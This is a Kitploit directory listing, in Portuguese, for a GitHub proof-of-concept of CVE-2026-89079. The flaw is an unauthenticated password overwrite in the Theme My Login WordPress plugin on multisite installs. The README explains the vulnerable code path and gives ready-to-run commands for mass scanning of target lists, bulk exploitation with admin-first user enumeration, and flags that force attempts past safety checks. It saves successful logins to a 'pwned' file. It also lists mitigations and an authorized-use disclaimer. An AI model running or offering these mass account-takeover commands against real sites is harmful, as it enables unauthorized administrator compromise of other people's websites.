Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-89079 — PoC em Python para CVE-2026-89079: identifica o Theme My Login <=7.2.1 em WordPress multisite e, em seguida, explora a sobrescrita de senha não autenticada via lost-password e verifica o login. | Kitploit
Ferramentas/GitHubGitHub/murrez/cve-2026-89079
Escalada de PrivilégiosScanners de VulnerabilidadesAtaques de SenhaAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHubmurrez/cve-2026-89079

CVE-2026-89079

PoC em Python para CVE-2026-89079: identifica o Theme My Login <=7.2.1 em WordPress multisite e, em seguida, explora a sobrescrita de senha não autenticada via lost-password e verifica o login.

822há 19 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório

CVE-2026-89079 — Theme My Login (WordPress multisite)

PoCbit

Ferramentas de pesquisa de segurança para CVE-2026-89079: tomada de conta não autenticada em WordPress multisite quando o Theme My Login ≤ 7.2.1 tem a opção de rede tml_user_passwords ativada.

Apenas para testes autorizados. Não utilize contra sistemas que não lhe pertencem ou para os quais não tem permissão escrita de teste.

PluginTheme My Login
Afetado≤ 7.2.1
Corrigido7.2.2+ (06b7623)
CWECWE-269 Gestão de Privilégios Incorreta
CVSS 3.19.8 (Crítico)

Por que a verificação de versão ≠ explorável

Todas as três condições devem ser verdadeiras:

  1. is_multisite() — ms-hooks.php só é carregado em WordPress multisite real (não em TML /register/ em site único).
  2. get_site_option( 'tml_user_passwords' ) — “palavras-passe de registo escolhidas pelo utilizador” ao nível da rede.
  3. Theme My Login ≤ 7.2.1 — tml_ms_filter_pre_insert_user_data() aplica $_POST['user_pass1'] em retrieve_password() → wp_update_user().

Uma resposta checkemail=confirm após o POST de recuperação de palavra-passe não prova que a palavra-passe foi alterada; é o comportamento normal do WordPress quando o filtro vulnerável está inativo.

Estrutura do repositório

CVE-2026-89079/
├── poc.py              # CLI: mass check / exploit / verify-only
├── tml_core.py         # Detection, HTTP/form diagnostics, tests import
├── requirements.txt
├── targets.example.txt
├── tests/
│   └── test_tml_core.py
└── lab/
    └── README.md       # Disposable WP multisite lab notes

Instalação

git clone https://github.com/YOUR_ORG/CVE-2026-89079.git
cd CVE-2026-89079
pip install -r requirements.txt

Uso

Verificação (fingerprint)

python poc.py --check https://target.example.com

# Bulk
python poc.py -f targets.txt --mode check -j 30 -q

# Optional: REST / ?author= hints → 3rd column in vuln list
python poc.py -f targets.txt --mode check --enum-users -j 30 -q

Saídas (padrões):

ArquivoConteúdo
cve_2026_89079_results.jsonlTodos os alvos + finding_status, dicas de multisite / user_pass1
cve_2026_89079_vuln.txtTML ≤ 7.2.1 (aba: URL, versão, best_login opcional)
cve_2026_89079_eligible.txtHeurística mais estrita: cadastro em rede + user_pass1 no cadastro (não é garantia)

Os valores de finding_status incluem: NOT_DETECTED, PATCHED, POTENTIALLY_VULNERABLE, PRECONDITIONS_UNKNOWN, VERIFICATION_INCONCLUSIVE, NETWORK_ERROR.

Exploit (senha perdida + verificação de login)

# Single target (default user: auto — enumerate admin-first when REST/?author= allows)
python poc.py https://target.example.com --mode exploit

python poc.py https://target.example.com -u admin --mode exploit
python poc.py https://target.example.com --version-hint 6.8.2 --login-hint admin --mode exploit

# Bulk from vuln list
python poc.py -f cve_2026_89079_vuln.txt --mode exploit -j 15 -q

Flags úteis:

FlagFinalidade
--no-require-multisiteTenta mesmo quando a heurística de multisite falha (muitos sites TML de site único)
--require-user-passwordsIgnora quando as páginas de registo não têm user_pass1
--only-eligibleExplora apenas as linhas com exploit_eligible de um --check-jsonl anterior
--verify-onlySem POST de palavra-passe / sem login — apenas diagnósticos de formulário e endpoint
--skip-version-checkForça a tentativa quando o readme está bloqueado
-qRegisto em massa mais silencioso

Saídas: cve_2026_89079_exploit.jsonl, cve_2026_89079_pwned.txt (logins bem-sucedidos).

Testes

python -m unittest discover -s tests -v

Notas técnicas

  • Tratamento de senha perdida: tml_lost_password_handler() → núcleo retrieve_password().
  • Correção em 7.2.2: o filtro wp_pre_insert_user_data ignora atualizações durante a recuperação de senha ($update).
  • A detecção de multisite ignora redirecionamentos de wp-signup.php → /register/ (falso positivo comum em TML de site único).
  • Formulários analisados com html.parser; suporta recuperação de senha AJAX do TML quando configurado.

Mitigação

  • Atualize o Theme My Login para 7.2.2+ na rede.
  • Desative tml_user_passwords ou o plugin até que seja corrigido.
  • Bloqueie ou emita alertas para POSTs não autenticados em URLs de recuperação de senha contendo user_pass1.

Referências

  • CVE-2026-89079
  • WordPress.org changeset 3696081
  • Patchstack advisory
  • PoCbit page

Legal

Este projeto destina-se a pesquisa de segurança defensiva, validação de patches e testes de penetração autorizados. O uso indevido é proibido. Os autores não assumem qualquer responsabilidade pelo uso não autorizado.

Baixar ferramenta